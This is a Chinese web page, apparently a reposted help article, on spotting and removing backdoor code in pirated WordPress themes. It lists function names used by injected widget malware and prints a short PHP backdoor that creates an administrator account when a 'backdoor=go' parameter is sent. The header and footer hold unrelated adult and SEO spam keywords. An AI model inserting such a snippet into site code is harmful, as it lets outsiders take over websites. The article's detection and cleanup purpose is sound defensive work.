国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > CMS > Wordpress > 正文

wordpress主題存在后門惡意代碼該怎么辦?

2024-09-07 00:51:21
字體:
來源:轉載
供稿:網友

wordpress越來越強大,也伴隨著出現越來越多的主題,除了有大量官方的主題,也有許多主題設計者發布收費主題和免費主題,很多不良人收集各種主題回來測試然后添加暗鏈、廣告,甚至惡意代碼,然后免費或者收費公開發布出去,誘使別人下載使用,達到不可告人的目的,對不懂代碼的童鞋來說,那是致命的.

怎么才知道自己的主題感染了惡意代碼呢?

換主題經常出錯提示“Fatal error: Cannot redeclare _check_isactive_widget()”、”_get_allwidgetcont” 之類的那么很有可能你已經被感染了,而且在你換主題的時候還會復制惡意代碼到你的新主題里去。如果出現了黑鏈、陌生鏈接和不明廣告,很可能就是主題存在惡意代碼!

都去檢查一下functions.php文件查一下是否有以下代碼,如果你的functions.php中有以下任意一段代碼,那么你可能就中招了。

  1. add_action(“admin_head”, 
  2.  
  3. add_action(“init”, “_getprepare_widget”); 

下面幾個是常見的惡意代碼:

  1. _verify_isactivate_widgets  
  2.  
  3. _check_isactive_widget  
  4.  
  5. _get_allwidgetscont  
  6.  
  7. _prepare_widgets  
  8.  
  9. __popular_posts 

新增一段代碼開頭含有:

_verifyactivate_widgets

_verifyactivate_widget

下面的代碼更加狠,可以自動添加一個角色為管理員的用戶.

  1. add_action('wp_head''holeinthewall'); 
  2. function holeinthewall() { 
  3. If ($_GET['backdoor'] == 'go') { 
  4. require('wp-includes/registration.php'); 
  5. If (!username_exists('username')) { 
  6. $user_id = wp_create_user('username''password'); 
  7. $user = new WP_User($user_id); 
  8. $user->set_role('administrator'); 
  9. //Vevb.com 

將代碼添加到您當前主題的 functions.php 文件或插件中,會自動創建一個用戶名:username 密碼:password的有管理員權限的用戶,之后想做什么都可以了,這些惡意代碼被添加后,主題看不出任意異常,只有在functions.php檢查才能發現,防不勝防!所以大家盡量到官方或原始發布站點下載主題,少用盜版主題和插件以免被開了后門也不知曉.

解決辦法:

1、如果是主題本身自帶的惡意代碼就去原發布地址下載主題重新安裝,官方的和原發布地址的百分之90是不會有惡意代碼的.

2、如果是感染了惡意代碼的找到functions.php 文件用原文件替換掉

3、刪除惡意代碼,一般就是以上任意一段代碼之后的所有代碼,這段代碼前面還有一個<?PHP,一起刪掉.

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 涟源市| 章丘市| 芦山县| 东阳市| 乌拉特后旗| 兰考县| 三河市| 韶关市| 桦甸市| 团风县| 霍州市| 琼结县| 商洛市| 平陆县| 山阴县| 外汇| 香格里拉县| 兴隆县| 渝北区| 郑州市| 伊吾县| 乳山市| 呼图壁县| 江陵县| 兴业县| 唐海县| 抚顺市| 平舆县| 新宁县| 广南县| 延津县| 青州市| 山丹县| 汶川县| 濮阳县| 贵定县| 大兴区| 锡林郭勒盟| 五指山市| 广西| 佛教|